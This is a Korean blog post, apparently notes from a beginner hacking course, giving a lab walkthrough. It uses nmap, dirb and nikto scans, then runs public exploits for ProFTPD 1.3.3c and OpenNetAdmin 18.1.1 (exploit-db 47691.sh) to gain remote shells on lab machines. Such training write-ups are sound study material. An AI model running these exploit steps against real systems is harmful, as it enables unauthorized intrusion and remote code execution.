본문 바로가기
Hacking/Hacking Beginner Class (normaltic)

[해킹 비기너 클래스] 6주차 정리 (익스플로잇)

by st-og 2023. 8. 23.

이번 시간엔 정보 수집을 마친 후 서비스 분석과 익스플로잇을 하는 방법에 대해 알아보았다.

정보 수집 단계에서 얻은 정보를 토대로 서비스를 분석하며 상대방의 쉘을 획득하는 단계까지가 익스플로잇 단계라 말할 수 있다.

 


Task2

제일 처음 해야 할 것은 nmap을 통해 열려있는 포트와 실행 중인 서비스를 확인해야 한다.

 

nmap -sCV -O [ip주소] > scan_res

-sC : 취약점들이 적혀있는 스크립트를 첨부해서 해당 취약점까지 있는지 확인해 줌

-sV : 서비스 버전 정보를 알아내기

- O: 해당 pc의 os 정보 알아내기

> scan_res :  scan_res라는 파일에 nmap 결과를 저장함. (정보가 자주 사용되기 때문에 파일로 만들어 두면 좋음)

 

해당 명령어의 결과를 확인하면

 

 

이러한 화면을 볼 수 있다.

 

여기서 중요하게 봐야 할 것은 21번 포트에서 ProFTPD를 사용한 FTP 서비스를 하고 있다는 것이다.

 

FTP란?

File Trensfer Protocol의 약자로서 인터넷으로 파일 전송을 할 수 있게 해주는 프로토콜이다
well-known port : 21번

 

ProFTPD를 사용하는 것을 알았으니 ProFTPD의 취약점을 찾아보자

구글에 ProFTPD 1.3.3.c exploit을 검색하면 github 사이트에서 익스플로잇을 할 수 있는 파이썬 코드를 찾을 수 있다.

 

해당 파일을 다운로드하기 위해 git clone 명령어를 사용해 준다

git clone [github url주소]

 

성공적으로 다운로드했으면 python 파일을 실행시켜 보자

 

python3 proFTPD_1.3.3c_exploit.py

 

 

우리가 필요한 정보를 다 입력하지 않고 실행했기에 이러한 문구가 출력이 된다.

필요한 정보를 다시 입력하고 실행하게 되면

python3 proFTPD_1.3.3c_exploit.py 10.18.52.42 10.10.92.142

 

 

상대방의 쉘을 획득한 것을 확인할 수 있다.

 


Task3

역시나 시작은 nmap을 통해 어떤 포트와 서비스가 있는지 확인해야 한다

 

 

22번 ssh와 80번 http, 10000번 http가 열려있는 것을 알 수 있다.

 

웹사이트가 열려있기에 접속을 해서 새로운 정보가 없는지 알아보자

 

80번

 

아무것도 뜨지 않아 확인이 어렵다

 

10000번

 

이 웹서버는 ssl 모드로 실행되고 있음을 알려준다

 

위의 정보로는 알 수 있는 게 많이 없으니 dirb를 사용해 디렉터리 스캔과 nikto를 사용해 웹취약점을 스캔해 보자

 

디렉터리 스캔

dirb [url 주소]

 

웹 취약점 스캔

nikto -h [url 주소]

 

웹 취약점 스캔을 통해 /ona/라는 디렉터리가 있는 것을 확인할 수 있었다.

 

 

/ona에 들어가 보자

이 화면에서 알 수 있는 정보는 버전이 18.1.1 인 무언가를 사용한다는 것을 알 수 있다.

조금 더 자세한 정보를 위해 소스코드를 봐보자

 

 

해당 소스코드에서 이 웹사이트는 OpenNetAdmin이라는 프로그램을 사용한다는 것을 알 수 있다.

 

우리는 앞에서 얻은 정보를 통해 익스플로잇이 가능한 취약점이 있는지 확인해봐야 한다

이때 사용할 수 있는 명령어가searchsploit이다

 

searchsploit [사용중인 프로그램]

 

 

해당 명령어를 통해 두 개의 취약점이 있는 것을 확인할 수 있다.

우리는 Shell 획득을 위해 Remote Code Execution 취약점을 이용해 보자

 

해당 파일은 /usr/share/exploitdb/exploits/ 가 기본 경로이며 그 뒤에 path 부분의 경로를 이어주면 찾을 수 있다.

해당 파일을 작업 디렉터리로 복사해오자

 

cp /usr/share/exploitdb/exploits/php/webapps/47691.sh exploit.sh

 

가져온 sh파일을 실행을 시키면

 

 

이러한 오류가 뜨게 된다.

오류의 원인을 알기 위해 쉘코드를 확인해 보았다

 

 

해당 코드에서 중요하게 봐야 할 곳은 여기다

 

 

URL이라는 변수에 인자값을 받아 오게 되어있고 curl 명령을 통해 해당 url로 전송되게 되어있다.

 

그럼 우리는 인자값으로 데이터를 전송할 url을 함께 적어주면 된다.

 

./exploit.sh http://10.10.137.248/ona/

 

그럼 성공적으로 쉘을 획득한 것을 확인할 수 있다.